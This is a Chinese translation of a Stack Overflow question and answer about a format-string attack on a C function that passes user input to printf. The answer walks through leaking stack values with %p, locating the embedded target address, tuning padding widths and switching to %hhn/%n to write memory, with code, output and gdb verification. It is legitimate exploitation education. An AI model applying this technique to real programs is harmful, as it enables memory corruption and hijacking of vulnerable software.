我想使用格式字符串利用(特别是sprintf)将整数1写入地址0x08049940
这就是函数的样子
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
我尝试了多个教程,但我相信它们不起作用,因为我的字符串已经以“ Hello”开头。所以我尝试使用输入开始写得更低
%.1%n \ x39 \ x99 \ x04 \ x08
低7个值,以及原始地址附近的其他地址。但是我的gdb调试器不断告诉我,0x08049940上的地址仍然是代码中指定的默认地址。
最佳答案
您不会利用sprintf
进行格式字符串攻击,而是稍后使用printf
调用。
如果您可以观察到输出,则利用它相当容易。可以直接制作具有足够%p
或%x
的字符串,直到看到所需的字节,而不是直接进行利用。例如,此程序对我有用:
#include <stdio.h>
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
int main(void) {
greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
"%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}
我用
gcc -m32
编译并运行,输出为Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!
现在我们看到了
0x04030201
,我们可以将最终的%0#p
更改为%hhn
以将一个字节写入地址,或者将%hn
写入short
,或者将%n
写入int
。此数字是到目前为止写入的字符数,已转换为char
,short
或int
。当我们知道地址在堆栈中的位置时,我们可以将每个
%p
更改为%c
,并且我们知道该地址将只消耗一个字符,从而更好地控制了所得的数字。开始时我们在
a
处有些懈怠-可以用来更改其中一个转换的精度,以根据需要更改容易写入的字符数(例如,如果结果数太低123, ,可以通过打印一个具有124个字符字段宽度的字符来扩展:%124c
);可以通过从提示中删除3个a来抵消count的增加。同样,可以使用
%0#p
进行验证:greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");
我们得到:
Hello aaa
���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!
最后,我们只是将
%0#p
替换为%hhn
,就可以了。为了证明它确实在写地址0x04030201,可以使用
gdb
to find out the address that caused the violation:Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201
剩下的作为练习留给读者...
关于c - C sprintf利用(格式化攻击),我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/53746514/